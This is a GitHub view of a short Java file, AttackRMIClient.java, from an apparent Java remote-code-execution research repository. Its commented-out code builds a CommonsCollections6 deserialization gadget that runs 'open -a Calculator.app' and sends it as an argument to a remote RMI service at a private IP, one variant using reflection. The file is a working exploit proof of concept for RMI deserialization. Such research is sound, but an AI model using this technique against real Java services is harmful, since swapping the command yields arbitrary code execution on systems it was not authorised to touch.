forked from Whoopsunix/JavaRce
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathAttackRMIClient.java
More file actions
33 lines (27 loc) · 1.06 KB
/
AttackRMIClient.java
File metadata and controls
33 lines (27 loc) · 1.06 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package server;
import utils.Serializer;
import java.lang.reflect.Method;
/**
* @author Whoopsunix
*
* Client 攻击 Server
*/
public class AttackRMIClient {
public static void main(String[] args) throws Exception {
/**
* 参数攻击
*/
// Object annotationInvocationHandler = Serializer.cc6("open -a Calculator.app");
// VulRemoteInterface vulRemoteInterface = (VulRemoteInterface) java.rmi.Naming.lookup("rmi://192.168.66.143:1099/xxx");
// vulRemoteInterface.sayHello(annotationInvocationHandler);
/**
* 参数攻击2
*/
// Object annotationInvocationHandler = Serializer.cc6("open -a Calculator.app");
// VulRemoteInterface vulRemoteInterface = (VulRemoteInterface) java.rmi.Naming.lookup("rmi://192.168.66.143:1099/xxx");
// vulRemoteInterface.sayUser(annotationInvocationHandler);
// // 反射
// Method method = vulRemoteInterface.getClass().getMethod("sayUser", Object.class);
// method.invoke(vulRemoteInterface, annotationInvocationHandler);
}
}